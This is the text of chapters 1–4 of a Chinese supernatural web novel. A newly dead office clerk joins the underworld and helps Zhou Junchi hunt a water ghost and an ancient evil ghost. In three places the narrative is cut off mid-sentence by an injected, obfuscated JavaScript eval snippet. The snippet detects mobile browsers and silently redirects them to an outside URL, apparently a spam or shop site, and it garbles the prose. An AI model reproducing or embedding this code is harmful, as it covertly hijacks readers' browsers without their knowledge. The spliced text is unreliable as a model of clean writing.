《凡冥异闻录》 1. 女尸 乔林看了看手机屏幕上的日期，现在是八月二十三号，下午四点十五分，意外的是地下和地上居然没有时差。在距离乔林的死仅仅过去了十二个小时后，她再一次回到了人间。 除了身份由一个公司的员工变成了地府的员工之外，其他的一如她没有死过一样。 临走时对于人间的不舍和留恋，在此刻感觉就像是一个笑话。 这是一间破旧的办公室，有的地方墙皮甚至都剥落了，木制的办公桌上摆着电脑，堆满了烟头的烟灰缸和冒着热气的搪瓷茶杯。 乔林偷偷瞄了眼站在她身边站着的男人。 灯光勾勒出了他优越的下颌线，高挺的鼻梁在脸上投下了一抹阴影，每人一件的工服穿在他身上，硬是被穿出了定制的效果，完美地贴合着他的身躯，勾勒出他宽阔的肩膀和修长的双腿。 乔林没有富裕到能培养起追星这种兴趣爱好，但你要问她生前最崇拜谁？那眼前的这位，就是她脱口而出的答案。 周骏驰，知名打工人、创业者，早在上大学时就已经挣到了人生中的第一桶金，实现了财富自由，毕业后更是入职了位列世界五百强第三名的公司，三年内升至CEO。随后，即便被多次挽留，他依旧选择了辞职，成立了自己的公司。 可惜好景不长，就在周骏驰自己成立的公司上市前夕，却因一场意外大火死于H市的半山别墅。 对于他的死因，媒体众说纷纭。 有说他是被别人老婆看上遭情杀的，有说他是大富豪的私生子被正房的继承者灭口的，也有说他是得罪了人被报复的……反正死人又不会给他们递律师函。 此时此刻，这个人就站在她身边，这是乔林无论如何也没有想到的。 而比起乔林心中上演的久别重逢的戏码，周骏驰的心情着实不算愉快，前一个秘书投胎后，新送来的几个都像是孙姐拿来应付差事的，要不是做事稀里糊涂，要不就是遇到一点事情就被吓破了胆，今天这个更是以“专业符合”为由硬塞来的。 周骏驰看了眼身边这个一脸茫然的瘦弱女孩，根据以往的经验，已经自觉将她分到了第二种。 今天是她第一天上班，恐怕也是最后一天，马上她就要一把鼻涕一把泪的去求着孙姐投胎了。 这样倒也好，不用他亲自去人事处找孙姐了。 思忖间，从旁边档案室里走出一个穿着汗衫面容和蔼的男人，约莫五十的年纪，戴着一副眼镜，手里抱着一摞材料。见到周骏驰和乔林二人，他赶忙放下材料走上前来。 “周副司，”男人上前和周骏驰客气地握了握手，“想必二位已经看到了消息，最近我们辖区内总有未到死期的枉死冤魂，还望二位帮忙查明真相。” “放心吧，钱老。” 简单的寒暄后，周骏驰拉开了旁边关着的门，门外是一条步行街，傍晚昏黄的阳光洒在街面上，拉长了建筑的身影。 这条步行街的两旁是两排门面房，西边的那排靠近水库。通过房子的间隙可以看到步行街的后边是一片宽阔的水域，空气中也有着一种潮湿的、水边特有的味道。 两人来到水库边上，没有了灼烫流金的柏油马路，清风微抚水面，扫去了几分酷暑的难耐。 不远处几艘渔船随着水波轻轻晃动着，岸边停靠着几辆卖小吃的铁皮三轮车，上面写着诸如烤冷面、炸串之类的字眼。 “你从来到这儿觉得有什么不对的吗？”周骏驰并不想知道眼前这人姓甚名谁，更不想在培养她上费工夫，于是问了一个刁钻的问题，试图让眼前的人知难而退。 他甚至隐隐期待看到对方回答不上来的局促样子，这是蠢人应得的。 乔林今天经历了太多事情，脑袋里像一团乱麻。 “您是说这里吗？” 周骏驰没回答，只是用冰冷的眼神扫了她一眼——有的实习生到了这一步，已经开始抹眼泪了。 可乔林被他的扫了一眼，竟像是如梦初醒般，深吸一口气，说道：“是有点不对劲，刚才我们过来的步行街上，门面却都开着，包括水库边上的这些流动小吃摊，都说明这个地方是个比较繁华的地方。” “但是一路走来却发现少有行人，按理说这个季节白天天气太热，傍晚正是上客的时候……你再看这儿。” 乔林朝河边走了两步，从地上捡起一根竹竿，拨弄了两下河边的芦苇丛，只见芦苇间一个沾满水藻的泳镜正随着水波，轻轻晃动。 她瞄了一眼周骏驰，见对方听得很认真，眉眼间甚至有些许的认可，便接着说道：“这时候是游泳的最好时间，水温刚好，还不晒，但是现在却空无一人。这说明说明这个水库有问题，我猜测恐怕这里就是刚才那老人家说的案件的事发地。” 听她说完，周骏驰倒确实觉得心情舒缓了一些，起码孙姐没再塞给自己一个蠢货。 “你生前做什么工作的？”他的语气也跟着缓和了一些。 “死前的主业是公司的文员，”乔林不好意思地挠了挠头，她知道周骏驰的言下之意，“也兼职过私家侦探，查别人老公出轨的那种。” 当然这只是她众多副业中的一个，能挣钱就行了呗。 周骏驰扬了扬眉，答案在他的意料之外，他对职业没有偏见，只觉这女孩思路清晰，也许尚可一用。 他从兜里掏出一张符纸，一掌大小的白色宣纸质地，中间是一个笔锋苍劲的寻字。 周骏驰将符纸放在手心，符纸迅速燃烧，留下一团蓝色的火焰，火焰并不算明亮，但却让周围的天空瞬间暗了下来。 紧接着火焰忽忽悠悠地升至半空，快速绕着水库转了一圈，在水库的正中央膨胀再分裂成四团，朝着四个方向飞去。 其中一团就落在距离二人约莫五十米远的地方。 在火焰的微光照耀下，地上凭空多了一具发胀的女尸，她上半身平躺在岸边，腰部以下还漂在水里，随着水的流动轻轻晃动，但就像充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136015|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气玩具一般没有一点生气。 她的皮肤因长时间浸泡而变得苍白肿胀，泛着水光，乌黑的长发散乱在颈侧、胸前，湿漉漉地贴在苍白的肌肤上，几缕发丝间还缠绕着细小的水草。 她的鞋袜早已不知去向，乔林注意到她的脚腕处有一圈黑色的勒痕，形状很是奇怪，乍一看像是水草缠绕的痕迹，但是仔细观察，又有几分像是人的手印。 乔林上前想翻动她的脚腕仔细再观察一下，可手却穿过女尸透了过去。 乔林意识到这只是幻象，便收回了手，认真观察了起来。 乔林的举动倒真是有点让周骏驰刮目相看了，眼前这具女尸已经不能用可怖二字形容了，第一次见的人，不吐个昏天黑地就算是胆子大的了哪个还敢上前翻动？ 周骏驰默默地收起了心中的偏见，认真地打量起乔林。 单看外貌倒也没什么特别之处，唯有那双眼睛清澈直白，让那张平淡的脸添了几分故事。 与她对视时，你瞬间能看透她心中所想，而她也能够顺着你的目光直达你的心底。 这倒是勾起了周骏驰的好奇。 “你不怕？” “尸体有什么可怕的，活人才更可怕。”乔林不以为意地笑了笑，自己这些年为了生计什么没干过，在殡仪馆帮着搬尸体的那段时间，几乎可以算作人生里最幸福的一段时光了。 “她脚腕间的淤青是死前被水鬼拉扯留下的。”随着心情的好转，周骏驰的耐心也跟着水涨船高。 剩下三团火焰的所在地，分别是年龄、性别不同的三具尸体，死因都是淹死，无一例外，脚腕处都有一圈形状相同的勒痕，恐怕都是同一鬼作案。 就在乔林仔细观察着最后一具尸体时，一片云遮住了正要西去的太阳，又因为还未到路灯亮起的时间，原本就不亮的天更是黑了起来。 周骏驰收到水鬼的求助已经有三两天了，只是最近凡间的案件的数量几乎比平时多了一倍，难以在第一时间赶赴现场，便叫城隍先用符箓镇压。 这么算来，符箓也快要失效了，那水鬼恐怕早已经饥肠辘辘。 只是水鬼生性狡猾，如果有他在，必定不敢现身，但如果只剩下乔林，那水鬼耐不住饥饿，也许会铤而走险，上岸觅食……倒也能借此机会看看乔林的应变能力。 “水鬼要来了，你见机行事。”说完，周骏驰便原地消失了。 乔林的脑子自动地把生前看过关于鬼的小说和恐怖片检索了一个遍，以前她把这些东西当剧情片看，因为她根本不相信世界上有鬼，可现在事实摆在眼前，也由不得她不信了。 死去的记忆疯狂地攻击着乔林的脑袋，她只觉后背一阵发凉，似乎《咒怨》里那个半大的孩子，正在身后用黑洞一般的眼睛死死盯着自己。 此时天边的云已经越聚越多，风也逐渐密集了起来，吹起地上的垃圾袋向天空飞去，白色的袋子被风撑满，在空中无序地飘荡，宛如幽灵一般。 2. 城隍 山雨欲来风满楼，不觉间天色已几如黑夜，滚滚浓云压至头顶，风里夹杂着死鱼的腥臭味，一阵阵地拍打在了乔林的脸上。 有把伞就好了。乔林想。 随着她思之所及，一把晴雨两用的黑色雨伞出现在了她的手上。 她抬眼看了看四周，除了珠帘一般的雨幕，什么也看不到。 她赶紧撑开了这把凭空出现的雨伞。 难道……？她灵光一闪，紧接着一沓厚厚的百元大钞出现她的手心里。 还能有这好事？乔林激动得几乎要尖叫出来，要是我活着的时候有这个能力就好了，我一定先在S市最好的地段买一套大平层。 想到这儿，人事孙大姐的话回荡在了乔林的脑海里…… “你生死籍的评分是69分，可惜了，还差一分就能投胎到一个优质家庭……”（一脸惋惜） “但是现在你有一个机会，在这里工作话，如果干得好，最终达到了考核要求，就能提档投胎，还能有三个备选家庭，下辈子就衣食无忧了。” “你知道吗？我们这儿的福利待遇特别好，柳德华知道吧？就是那个演戏唱歌都很厉害的那个，她家的独生女，还有那个那个音乐天王家的二儿子，都是从我们部门出去的。” “小姑娘，机不可失失不再来，前一阵子看新闻了吧？那个六马茶叶家的儿子和那个做运动服的安洁家的女儿联姻了，他们家的投胎指标，可是很多人都瞧着的，现在入职还有机会，这可是福及子孙的哦……” 乔林再一次想为自己的选择鼓掌，入职地府的阴律司【注】，真是再正确不过的选择。 没留给乔林太多自我陶醉的时间，雨越下越大了。 乔林望了望身后漆黑一片的水库，背后一阵发寒，总觉得有一双看不见的眼睛，正在水里死死地盯着自己。 既然周骏驰让我见机行事，那不如先去商店街那边躲多雨，顺便消费一把。 连接水库和商店街的，是一条条人走出来的小土路，路两边是丛生的草。 雨天湿滑，乔林小心地观察着路面的情况。 约莫走了五分钟，乔林忽然觉出了不对劲，前边的商店快走也就十几步的路程，这走了也有一会儿了，怎么还不到？ 乔林抬起雨伞，商店街并没有如愿出现，路在前方三五米处戛然而止，再往前走，就是一片碎石地和岸边丛生的芦苇。 原本在身后的水库，竟出现在了眼前。 乔林环顾四下，黑云遮挡住了全部的光线，再加上巨大的雨幕将人彻底笼罩，身边的路早已被浓稠的黑暗吞噬，几乎什么都看不见。 无奈之下，乔林只得又变出来一支手电筒。 一道惨白的光柱刺破雨幕，却像投入墨汁的银针，只往前延伸了两三米，就被黑暗硬生生吞掉。 不行，这恐怕不仅仅是一场雨，而是那水鬼的障眼法。 乔林掏出地府统一发的手机，里面有周骏驰的联系方式，她的指尖在屏幕上停留了片刻，还是没有拨出电话，她又将手机放回了口袋。 还是先试着自己解决吧，他也有他要忙的事。 乔林定了定神，试着换了个方向继续往前走，枯燥的雨声中，不时传来一两声如同浪花拍打沙滩时的声音，又像是巨大的鱼类拍打水面的声音。 每一声都像是拍在了乔林的心上，她握紧了手中的伞，快步向前走去。 这次她只是朝前走了十来步，就再一次看到了摇曳的芦苇丛。 “鬼还能被鬼打墙吗？”乔林嘟囔着，不信邪地又朝反方向跑了几步，果真，再一次回到了原点。 周骏驰站在树与房子的阴影里，将自身气息收敛起来，即便是仔细观察也很难发现这里有人。 他的视线穿过原地转圈的乔林，落在了她身后的水库边上，那只水鬼已经露出了脑袋。 此时周骏驰已经觉出了不对劲，如果水鬼想捕食人类的灵魂，那他最好的选择就是避开乔林。 虽说水鬼多少能判断出乔林的战斗力，但如果双方交手，引来援兵，那留给他的结局就不再是发回地府改造，而是灰飞烟灭了。 那他为什么要找上乔林？难道这女孩有什么特别的地方？他注意到了乔林手上的伞。 “以虚化实”？周骏驰心里打了个问号，难不成这人是扮猪吃老虎？还是有什么其他原因？ 不知为何，孙姐老奸巨猾的嘴脸忽然浮现在周骏驰的脑海里。 “包你满意……” 周骏驰只觉背后一阵恶寒，他赶紧抖了抖身上的鸡皮疙瘩，一边紧密观察着水库边的情况，一边调出一张雷电符以备不时之需。 与此同时，乔林举着伞再次试着朝水库旁的商店走去，没走两步，路到了尽头，是水库的边缘，湿滑的泥土里，布满了大大小小带着尖棱的石块。 不觉间一只青黑色的手，正从岸边的碎石缝里伸出来，那手上的皮肤像泡烂的树皮般皱缩，指甲缝里嵌着黑绿色的淤泥和水草，此时死死地扣住了她的鞋跟。 与乔林想象中披着长发的白衣女鬼不同，这水鬼采取的是物理攻击，而非精神上的。 倒让人没那么恐惧了。 “啊！刚发的新皮鞋啊！”乔林急了，抬起另一只脚就往那手上踹。 可那手却纹丝不动，反而越勾越紧，一股蛮力顺着鞋跟传来，硬生生要将她往水库方向拖拽。她重心失衡，手电筒“哐当”一声摔在地上，光柱歪向一旁，恰好照见碎石堆后。 这一照不要紧，乔林的密集恐惧症都要发作了，只见更多青黑色的手正从泥水里冒出来，像疯长的毒菌，密密麻麻地抓挠着地面。 乔林心一横，蹬掉脚上的鞋子，赤着脚转身就往岸边跑。 可她还没跑几步，身后突然传来“哗啦”一声巨响。 乔林回头瞥了一眼，只见一道浑身湿透的身影从水库里猛地蹿出，重重摔在碎石地上，溅起一片混着泥沙的水花。 那玩意儿即便是佝偻着身形，依旧显得异常高大，身上裹着的破烂的灰色工装，布料已经泡得发胀，不断往下滴落混着泥沙的黑水，在地面积成一滩散发着恶臭的水洼。 它晃了晃身子，放松了一下周身的零件，踉跄着朝乔林走来。 乔林不敢再分心，卯足了劲儿往前冲，快得两腿都要跑出了虚影。 谁知下一秒，额头突然撞上一堵滑腻冰凉的“墙”，巨大的冲击力让她眼前一黑，重重摔倒在地，正撞在了手臂的麻筋儿上。 她慌忙回头去看，好在这时身后空荡荡的，水鬼并未追上来。乔林正要揉一揉发疼的手臂，可当她视线不经意地往前一移，头发瞬间根根竖起。 她的眼前，赫然出现一张扭曲变形的脸。 皮肤被泡得发白肿胀，五官挤在一起，双眼是两个浑浊的黑洞，里面缠着几根水草，嘴角咧开一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136016|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异的弧度，露出两排尖细的牙齿，齿缝间还沾着水草碎屑。一股浓烈的腥臭味扑面而来，呛得乔林几乎窒息。 那水鬼正低头，一寸寸嗅闻着她的气息。 乔林的心提到嗓子眼，心里只有一个念头，那就是：完了，当时应该给周骏驰打个电话的。 突然天空中雷声大作，轰隆巨响在乔林四周骤然炸响，还没等她回过神，一道金光精准砸中眼前水鬼，只见它在光中凄厉挣扎片刻，便化作缕缕黑烟，随风消散无踪。 天光随之破开，金光化作水面涟漪，与积水一同缓缓褪去。 乔林猛地睁眼，步行街华灯初上，来往的人们时不时用八卦的眼神看一眼坐在地上的乔林。 没有船，没有水库，没有水鬼。 “哇，你看到没有，刚才一道闪电打在这里，还好我早上迟到了一会儿，要不然咱们可能正好走到这道闪电这儿。”两个女孩从乔林身旁路过，议论声传进了乔林的耳朵里。 得想赶紧离开这个是非之地……乔林起身张望，很快就看到了向这边走来的周骏驰。 “周副司，刚才……”乔林想对周骏驰汇报刚才发生的一切。 “我看到了。”回想方才乔林的表现，要么她是一个有特殊能力的新手，要么就是她是一个能力高超的骗子。 不管答案是哪个，这都是一件颇为有趣的事， “谢谢你救了我。”也是，刚才那道金光除了周骏驰还能有谁？只是他就一直在旁边看着？乔林有些失望。 她平复了一下心情，毕竟只是第一次合作的同事，人家能救我就不错了，反倒是自己也没能帮上什么忙。 “这个阵法很复杂。”周骏驰突然来了这么一句。 “？”乔林不解地抬起头。 “你拖住了他，我们是在合作，不用谢我。” 去往城隍庙的路上，周骏驰忽然闻到了一缕熟悉的香味，想不起在哪里闻到过，但让人无比的心安。 而人烟稀少的马路上，只有他和乔林两人。 周骏驰心中隐约有了水鬼行为异常的答案。 走了约莫一公里就见一座大敞的院门，院内林木葱茏，再往里看，一座破旧的城隍庙坐落在院子的最深处，周骏驰大步走了进去。 走近了看，可能是因为这座城隍庙香火稀疏，透着几分破败。殿内供奉着城隍爷塑像，乔林抬眼望去，那头戴官帽、身着长袍的神像，竟与方才所见的大叔一模一样，只是气质上天差地别。 周骏驰径直走到塑像后，后面竟有一扇半掩着的门。推门而入，就又回到了最开始的那间办公室，钱老正坐在办公桌前，吸溜了一口热水，吐了半口茶叶沫子。 周骏驰将今天发生的事情一五一十地告知钱老，钱老手执毛笔，在至纸上轻轻一划，便将他说的话，完完整整地记录了下来。 正当二人与钱老告别时，乔林的口袋里突然发出了一声凄厉的鬼叫，吓了乔林一哆嗦。 【注】在民间传说中，秦广王又名六案功曹，其下设：轮回司、判官司、阴曹司三司（城隍就属于该司管理）。 而再其中的判官司里又包含:赏善（魏征）、罚恶（钟馗）、查察（陆之道）、阴律四司（崔珏）。目前阴律司的管事人崔珏，据说左手执生死薄，右手拿勾魂笔，专门执行为善者添寿，让恶者归阴的任务。 崔珏是司长，咱们的男主周骏驰就是副司长啦。 3. 白无常 乔林摸了摸口袋，发出声音的是入职时孙姐发给她的手机，是谁做的APP啊喂！要不要用这么可怕的提示音啊喂！ 她打开屏幕，看到了一条来自地府通的推送，“恭喜您今日已完成四级任务1个，获得业绩点16点，您目前的业绩点总数为：16。” 哦……原来这就能赚业绩点啊，可是怎么才16？想着要赚够十万业绩点才能提档投胎，这要赚到猴年马月了！这和入职的时候说得也不一样啊！ 啧，都这么多年工作经验了，居然在死后翻了船，真不该因为是地府就放松警惕，当时就应该好好地看一看劳动合同来着（无）。 周骏驰的办公室里，有一扇并不起眼的门，这扇门连接的是现世中的所有城隍庙，他们就是通过这扇门去的，任务完成后，他们又通过这扇门回来了。 屋内，一个长相俊美的长发男人正慵懒地靠坐在宽大的黑色皮质沙发里，要不是他半敞着的白色的衬衣，只看脸的话，还真的很难分辨他的性别。 “这就是你新来的秘书？”男人的声音好声音听起来阴柔婉转，听到耳朵里骨头都有些酥酥麻麻的。 乔林的目光落在了对方搭在沙发背上的手上，他的手指修长惨白，骨节分明。 乔林是死在医院的，死因……说来也滑稽，是脑梗，按理说这么年轻不应该得这个病，可就是这么寸，她就是得了。 再次睁开眼睛，她第一眼看到的就是手术台上的自己，在灯光下，本就惨白消瘦的脸因为失血显得有几分蜡黄，看着跟纪念馆里的蜡像似的。 还没来得及感伤，第二眼她就看到了站在角落里的白无常。 他身着一袭白袍，头戴一顶白色的尖顶高帽，上书“一生平安”四个大字，脸上覆盖着一张白色的面具，长长的黑发一直垂到腰部。 他身上唯一露出皮肤的地方就是放在身前的那双惨白的手，下一秒那双手就把一条铁链子套在了她的脖子上。 “你是白无常【注】？” “你怎么知道？”他有些诧异。 “你的手，”她指了指，“挺白的。” “她比上一个要聪明一些嘛。”白无常走上前拍了拍乔林的肩膀，“以后都是同事了，叫我谢必安就好了。” “您好，我叫……” 没等乔林说完，谢必安的手就轻轻地点在了乔林的嘴唇上，他的手冷得像冰一样。 “我知道你叫什么，别忘了，你是我带来的孩子。” 随即他将脸凑向乔林的脖颈间，轻轻地嗅闻了起来。 乔林吓得赶紧向后退了几步，职场性骚扰？不知道跟孙姐投诉有没有用？地府有工会吗？ “别怕，我对你没兴趣。”谢必安的脸上浮现出一丝疑惑，这味道，有种说不出的熟悉。 “怎么样？”周骏驰问道。 什么怎么样？乔林觉得这对话不太对劲，俩人怎么东一榔头西一棒槌的。 “可以倒是可以……”谢必安思忖片刻，“崔侍郎那里有一件锁子甲，也许能派上用场。” “你去借，人是你弄丢的。”周骏驰说道。 “好吧～那我要乔林陪我一起去~” “不行。” “好吧。” 谢必安走到乔林身旁，再次深吸一口气，随后转身出门了。 谢必安一走，办公室内就只剩下了乔林和周骏驰两人，工作的时候没觉得有什么，这忽然就剩下两人了，多少有些尴尬。 乔林正盘算着找个什么话题打破这份沉默，周骏驰却先开口了。 “你刚才的伞是哪儿来的？” “我变出来的，”乔林有些不解，“怎么了？是不符合规定吗？” “没有。”周骏驰回答虽然干脆，但乔林总觉得他的话似乎还没有说完。 “那就好，我正想问问呢，这项……”乔林想了想，该怎么说好呢……魔法？法术？还是他们本地有什么别的叫法，“技能吧，有没有什么限制，别说次数或者时间之类的？” “你的情况有点特殊，等这次任务回来，你去孙姐那里一趟，她在这方面比我专业。”周骏驰暂且相信了乔林的回答，至于问题的答案…… 上下五千年，太多的奇闻异事，神仙？圣人？妖魔精怪？这其中的关系，剪不断理还乱，还真不好说是为什么，至于孙姐那里能不能查到，也要看乔林的运气了。 特殊？这个词对于乔林来说很陌生，她自觉从出生到现在，没有哪一个方面能和特殊沾上边，谁知这死了倒成了特殊了。 乔林摸了摸口袋里的那沓百元大钞，不知何时已经消失不见了。 很快，谢必安带着一件灰不溜丢的马甲回来了。 “这次是一个已经能幻化成人形的千年恶鬼，即便是法器也难以分辨，除此之外，他还有制作傀儡的能力，但是有数量限制，一次只能做一个，”谢必安把手里的马甲递给乔林，“这个给你，极品神器，锁子甲，关键时刻能救你一命。” 乔林想到了之前遇到的水鬼，一秒都没犹豫，赶紧把锁子甲套在了西装里。 “一个？那都是几百年前的事了。”周骏驰和谢必安说话的语气显然更加的随意，不似和乔林说话般公事公办。 “哎呀，他这几百年还能在哪个阴沟里发愤图强不成？两个？最多变出三个。” “这段时间收到的任务明显比之前多了不少，况且这个恶鬼躲了几百年了，为什么又突然地冒了出来，”周骏驰停顿片刻，嘱咐道，“还是小心为好。” 他们先来到S市的城隍，这里的城隍和上次去的N市不同，不仅办公室大了很多，而且屋内摆有雕花紫檀木书柜和一张宽大的真皮劳伦斯沙发，头顶是一盏巨大的水晶吊灯，处处透着奢华。 此处的城隍是一个成熟的姐姐，约莫四十左右年纪，盘发，穿着合身的西装套裙。 “这个恶鬼非常厉害，已经在此地潜伏千年了，上一次的抓捕，因为一点小的失误，让他跑掉了，”城隍向三人介绍此次的任务，“之后很长一段时间失去了他的踪迹，约莫有近五百年了，不知道为什么会在此时出现。” “三个月前开始常发现那附近总有人阳寿未尽却离奇死亡，灵魂也不能回收。调查时，偶然在一名死者附近看到了一丝他留下的阴气，通过追踪现在可以确定他就在宏达机械厂宿舍五号楼，之后就再没消息了。” “放心吧，林姐，我们一定把他抓回来。”谢必安拍了拍林姐的肩膀。 被林姐一把抓住他的胳膊，拧了个圈，疼得谢必安直叫。 “还有脸说，五百年前要不是你搞坏了崔哥的平安钟，能让他跑了吗？” “啊啊啊，我错了林姐，这次我一定把他抓回来。” “你最好是！” 乔林心里为林姐默默地竖起了大拇指，打得好。 三人推开门，来到了宏达机械厂宿舍五号楼。 乔林想问问谢必安下一步要怎样，回头却发现身后空无一人。 “谢必安？”乔林不自觉地叫了一声。 “怎么了妈妈？”声音来自更低处，乔林低头，一个约莫七八岁的粉雕玉琢的小男孩正站在那里，眨着大眼睛看着自己。 乔林再抬头看看身边的周骏驰，可旁边站的是一个穿着T恤牛仔裤的男人，长相和周骏驰倒有三分相似。 “你们是谁？”乔林彻底懵了。 “嘘。”谢必安做了一个噤声的手势，“咱们现在的身份是住在这里的一家三口，演得真一点，要代入角色，不要露馅了。” 什么？一家三口？那我是妈妈？周骏驰是……爸爸？ 想到这儿，乔林有点不好意思，她偷偷瞄了一眼旁边的周骏驰，能看得出他想让自己尽量看起来普通一点，但是……懂得都懂，穿搭的完成度也不完全是通过衣服来衡量的。 “他们不会认出我们来吗？”乔林倒是不担心自己被认出来，只是周骏驰这张脸，可以说是天下谁人不识君了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136017|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “他们看到的和你看到的不一样。”周骏驰解释完心里一怔，平时他很少跟被人废话。 是的，这种没有实际作用问题，在他这里，统称为废话， 或许是这个实习生的表现让自己格外满意吧，他想。 这是一个很老旧的小区，里面既有筒子楼也有步梯多层，看上去已经有起码三十年以上的房龄了，但在寸土寸金的S市，即便是这样的房子，也还是住满了人。 而他们所在的这栋，是一栋六层的楼房，每层三户，楼道口堆放的垃圾散发着阵阵异味。 乔林目光不经意间扫过一楼的窗玻璃隐约能看出自己身上穿的是一条白色的棉质连衣裙。 “是你们要租房子不啦？”这时一个拿着一大串钥匙的大姐朝他们走来。 “是。”周骏驰回答边招了招手，将虚假的和蔼笑容堆在了脸上。 大姐看了看谢必安说道：“哦呦，还有小朋友啊，那你们一定要看好孩子，我这边的家具和装修都很贵的哦，碰坏了是要原价赔的哦。” 说话间，一行人来到五楼的03户，是他们要租的房子。 大姐找出钥匙打开了门，房子是两室一厅，里面的装修看起来已经很老旧了，没有一样看起来很贵的家具，乔林想就刚才大姐的话争辩两句，但想了想，算了，反正也是地府出钱。 签完合同，大姐把钥匙给了乔林，就着急地离开了，好像很惧怕这里一样。 至于原因，，他们三人自然最清楚。 “我们要怎么找那只恶鬼？”乔林问道，周骏驰却捂住了她的嘴。 下一秒，敲门声响起。 三个人对了一下眼神，周骏驰示意谢必安去开门。 门后站着的是一位七十多岁的老太太，乔林心里警钟大作，这不会是那个恶鬼找上门来了吧？ “我也是这儿的住户，住对门，”老太太颤颤巍巍地自我介绍，“小朋友，你叫什么名字啊？” “爸爸妈妈说不让我把名字随便告诉别人。”谢必安回答。 “真是个聪明的小朋友，”老太太笑眯眯地看着谢必安，把手里的保鲜盒递给了他，“这是我新包的粽子，你们尝尝。” “太谢谢了，这怎么好意思，”乔林赶紧上前接过粽子，“您好，我们是刚搬过来的。” “远亲不如近邻，以后少不了有需要互相帮助的地方，”老太太摸了摸谢必安的头，谢必安一脸不情愿，“你们这孩子长得这么好看。” “长得还凑合，主要是调皮得很，快叫奶奶。”乔林趁机给了他一巴掌。 “奶奶……”谢必安一脸不情愿地叫了一声，哼，奶奶？我的年龄比这老太太的祖宗都要大多了。 “天不早了，你们早点休息吧。”老太太转身要离开，却突然像是想起什么似的，回过头来对乔林说，“这么晚了就不要随便出门了，更别带孩子出门。” “怎么了呢？”乔林问。 “咱们这个地方不太干净。”老太太看了乔林一眼，缓缓说道，“不过也都是邻居们传来传去的，说是半夜看到窗户外有鬼影。” 老太太苍老的声音，加上此处破旧的装潢，昏暗的灯光，让乔林感到背后汗毛都竖起了。 【注】判官司的工作非常庞大复杂，可以说是地府的运转核心，所以他内设的机构和人员都非常多，所以在本文中专门给判官司准备了一座办公大楼，咱们主角的办公室、投胎的业务大厅都在这栋楼里。 判官司下辖阴鬼使、拘魂使、妖冥使三支外勤小队，咱们的白无常谢必安以及后面要提到的黑无常就属于拘魂使，拘魂使里还有咱们非常熟悉的牛头马面。 根据清朝时期清代淡痴写的《玉历宝钞》（后面也会提到这本书）记载，无常黑白无常两人组成，专司送鬼魂去投生。 在民间传说中，谢必安生前重情义，是为了信守承诺而死的，他的行为感动了阎王，就让他成为了地府的固定员工，专门捉拿不法之徒。 4. 邻居 送走老太，周骏驰关上门，随即从口袋里掏出几张写着御字的符纸分别贴在了房间的四方，符纸在贴上的瞬间，便消失不见了。 “我们的目标就在这栋楼里。” “？”乔林认真地坐直了身子。 “资料已经发到你们的手机上了。” “能确定是谁吗？”乔林打开手机，地府通的界面上，周骏驰三个字正在闪烁，他发来一份文档，点开来是二十几个人物介绍。 “不能，即便是被那恶鬼做成了傀儡，但是由于没有完全死亡，地府里也收不到消息，这是这栋楼里所有人的生死籍，你们可以先大致了解一下。”周骏驰说。 乔林大致浏览了一下，有男有女，有老有少，都是普通得不能再普通的普通人，实在看不出有什么问题，只能暂时将他们的脸和名字记下了。 “既然出来了，不如出去走走，了解了解周围环境，”谢必安提议，“说不定能有什么发现。” 八月底的晚风已经不似先前闷热，吹拂着脸颊，带来了一丝桂花的香气。在小区里来回溜达，虽说是带着任务，但此刻乔林却感到非常惬意和放松。 “你们是怎么找到这儿的？”乔林问。 谢必安拿出一个小小的铜铃铛，上面写有古体的平安二字，乔林想，这应该就是城隍说的平安钟了。 “这平安钟不是说被你弄坏了吗？准吗？” “已经修好了，你不要哪壶不开提哪壶，”谢必安尴尬地咳嗽了两声，“只是这栋楼都被鬼气笼罩，很难精确到哪一户，只能靠咱们自己查了。” 他们并没有走多远，乔林回头看了看他们身后的那栋五号楼，也不知道是不是心理作用，乔林觉得和周边别的房子比起来，那栋楼看着确实鬼气森森的，墙上一片片的苔藓，在昏暗的灯光下，犹如巨人身上遍布的尸斑。 “哎呦哎呦……”忽然几声略显娇媚的呻吟声传到了乔林的耳朵里，这光天化日朗朗乾坤，难道？ 循声望去，只见一个女人半蹲在路边，一边叫唤，一边揉着自己嫩白纤细的脚踝。 “你好，能不能帮我一下。”女人看到走来的三人，立刻招手寻求帮助。 借助微弱的路灯，乔林看清了前方的女人，单看五官没什么特别的，但是皮肤柔嫩白皙的跟日本豆腐似的，即便是蹲着，合体的裙子仍能勾勒出其凹凸有致的身材。 